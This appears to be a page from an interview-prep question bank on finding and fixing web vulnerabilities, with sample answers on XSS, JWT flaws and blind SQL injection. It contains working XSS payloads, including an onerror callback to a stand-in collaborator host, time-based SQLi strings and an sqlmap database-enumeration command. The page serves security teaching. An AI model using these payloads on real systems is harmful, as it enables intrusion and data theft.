Vulnerability Identification and Remediation Questions

Practical skills for discovering, analyzing, prioritizing, and fixing security weaknesses in code, web applications, application programming interface endpoints, and runtime configurations. This includes manual techniques such as targeted code review, manual dynamic testing, behavioral and environment specific investigation, and proof of concept development, as well as automated approaches including static application security testing, dynamic application security testing, interactive testing, and vulnerability scanning. Candidates should be able to triage findings, reduce false positives, determine exploitability and impact in context, perform root cause analysis, correlate results across tools and manual testing, and develop and verify remediation strategies. Remediation topics include secure code fixes, parameterized queries, input validation and output encoding, correct authentication and session management, principle of least privilege and access control, secrets and dependency management, patching and configuration hardening, verification and regression testing, and communicating and tracking fixes. Familiarity with reference resources such as the Open Web Application Security Project Top Ten and the Common Weakness Enumeration and with severity scoring concepts for prioritization is expected.

EasyTechnical

64 practiced

Walk through a practical manual testing approach for identifying reflected and stored XSS in a web application. Include how you craft payloads to test different contexts (HTML body, attribute, JavaScript context, CSS), how to confirm exploitation versus symptom, and one mitigation you would recommend per context.

Sample Answer

**Approach overview**1. Recon: identify input sinks (GET/POST params, headers, reflected strings, stored data). 2. Confirm context: inject benign markers (e.g., __INJ__) and view rendered source to determine HTML, attribute, JS, or CSS context. 3. Escalate with context-appropriate payloads, confirm execution, and recommend mitigation per context.

**Sample payloads (start simple, then bypass filters)**- HTML body (text):

text

<script>alert(1)</script>

- Attribute (e.g., value or href): break out and run:

text

" onmouseover="alert(1)" x="

- JavaScript context (inside <script>): close string/statement:

text

');alert(1);//

- CSS context (style block/attribute): use expression or url (legacy) or inject closing and add HTML:

text

";}body{background:url("javascript:alert(1)");/*

**Confirm exploitation vs symptom**- Symptom: your payload appears verbatim but does not execute. Check source vs DOM; inspect via browser devtools. - Exploitation: code executes (alert/console log/network callback). For safe proof-of-concept use non-destructive callbacks (e.g., image request to your collaborator server or console.log). Example:

text

<img src=x onerror="new Image().src='https://collab.example/p?c=1'">

Verify server logs for callback.

**Mitigations (one per context)**- HTML body: HTML-encode output (encode <, >, &). - Attribute: encode quotes and whitespace; use proper attribute encoding and avoid untrusted data in attributes. - JavaScript context: never inject raw data into JS; JSON-encode or use safe APIs and CSP. - CSS: disallow user-controlled CSS or sanitize and remove url()/expression; enforce CSP style-src.

**Notes**- Always document exact request/response, proof-of-concept, impact, and remediation steps. Use Burp/Browser devtools to iterate payloads and confirm exploitability.

EasyTechnical

67 practiced

Explain common techniques for discovering secrets in code repositories and CI pipelines. Give three practical examples of what to search for, and list immediate remediation recommendations when a secret is found in a public or private repository.

EasyTechnical

77 practiced

As a penetration tester, explain the difference between 'vulnerability identification' and 'vulnerability assessment' in practical engagement terms. Include how scope, depth, tooling, deliverables, and expected outcomes differ between the two and describe a short checklist you would use to decide which approach to use for a given client engagement.

MediumTechnical

72 practiced

You discover an insecure JWT implementation during a pen test: tokens have no expiry enforcement, an unsigned 'alg' of 'none' is accepted, and tokens are stored in local storage. Explain the vulnerabilities each of these issues leads to and provide a prioritized remediation checklist with technical changes and verification steps.

Sample Answer

**Overview of vulnerabilities**

- Missing expiry enforcement - Allows replay of stolen tokens indefinitely; session hijack persists until server-side revocation (which often doesn't exist). Enables lateral movement and privilege persistence.

- Accepting alg = "none" / unsigned tokens - Attackers can craft tokens with arbitrary claims (roles, user ids) and set alg:none to bypass signature verification, achieving privilege escalation.

- Storing tokens in localStorage - Exposes tokens to XSS: any injected script can read/ exfiltrate tokens, enabling account takeover.

**Prioritized remediation checklist (high → low)**

1. Enforce token expiry and short lifetimes (High) - Technical: Issue JWTs with exp claim (e.g., 15m access, 1h refresh); validate exp server-side on every request. Implement refresh tokens with rotation. - Verification: Create token with future/past exp and confirm server rejects expired tokens and accepts valid ones.

2. Reject unsigned / insecure algs (High) - Technical: Do not honor alg from token header; server must enforce expected algorithm (e.g., RS256) and reject tokens with alg:"none". Use asymmetric signing (RS256) or HMAC with strong secret and key management. - Verification: Send crafted token with alg:"none" and tampered claims; confirm rejection. Attempt algorithm-switch attacks (e.g., RS256→HS256) to ensure protection.

3. Move tokens out of localStorage (High-Medium) - Technical: Use secure, HttpOnly, SameSite=strict cookies for session tokens; protect against CSRF with double-submit or anti-CSRF tokens. If SPA requires storage, minimize lifetime and use in-memory storage plus refresh. - Verification: Demonstrate XSS PoC that would read localStorage; confirm tokens inaccessible when using HttpOnly cookie.

4. Implement token revocation and monitoring (Medium) - Technical: Maintain token revocation list or use rotating refresh tokens; log suspicious use and geofencing. - Verification: Revoke a token and confirm immediate denial; check logs for rejected tokens.

5. Harden app against XSS (Medium) - Technical: CSP, input validation/encoding, frameworks' output encoding. - Verification: Run automated and manual XSS tests; confirm mitigation.

**Notes & best practices**

- Prefer short-lived access tokens + refresh with rotation. - Validate all JWT fields server-side; do not trust client-provided data for authorization decisions. - Perform CI tests to fail-on insecure algs and expired-acceptance regressions.

HardTechnical

79 practiced

A DAST scan indicates a blind SQL injection that returns no visible data but causes response time differences and occasional DB errors. Describe the steps and safe techniques you would use to confirm the vulnerability, extract data if authorized, and recommend remediation plus detection controls to monitor for exploitation attempts.

Sample Answer

**Confirming the finding (safe, non-destructive steps)**

- Reproduce with low-impact, time-based tests to avoid data changes. Use a short sleep to confirm latency differences:

sql

' OR IF(1=1, SLEEP(2), 0) -- 
' OR IF(1=2, SLEEP(2), 0) --

- Prefer out-of-band (OOB) verification using a collaborator (Burp Collaborator, DNS tunnel) to avoid heavy DB load:

text

'; SELECT 1; WAITFOR DELAY '0:0:2'--   (MSSQL)

- Limit frequency, test on staging when possible, and note exact timing metrics.

**Safe extraction (only if authorized)**- Use OOB exfiltration (DNS/HTTP callbacks) to avoid slow full table scans. Example using Burp Collaborator or interact.sh.- If OOB unavailable, use binary/time-based blind extraction with optimized binary-search on characters (reduce requests: 7 bits per char). Automate with sqlmap tuned for stealth:

bash

sqlmap -u "https://app/?id=1" --technique=T --time-sec=2 --batch --risk=1 --level=1 --threads=1 --dbs

- Throttle requests, run during agreed windows, and document every action.

**Remediation**- Use parameterized queries / prepared statements and ORMs; avoid dynamic SQL.- Enforce least-privilege DB accounts; remove SELECT rights where unnecessary.- Centralize error handling to suppress DB stack traces and detailed errors.

**Detection & Monitoring**- WAF rules for time-based payloads, SQL keywords, and anomalous query patterns.- DB monitoring for slow queries, spikes in SLEEP/WAITFOR usage, and unusual error rates.- Network/DNS logs alerting on unexpected external DNS/HTTP calls (OOB exfil indicators).- IDS signatures for blind-SQLi patterns and periodic reviews of query logs.

Why this approach: confirms vulnerability with minimal impact, uses stealthy OOB or binary techniques for authorized extraction, and combines code-level fixes with detection to prevent and surface exploitation.

Unlock Full Question Bank

Get access to hundreds of Vulnerability Identification and Remediation interview questions and detailed answers.

Join thousands of developers preparing for their dream job.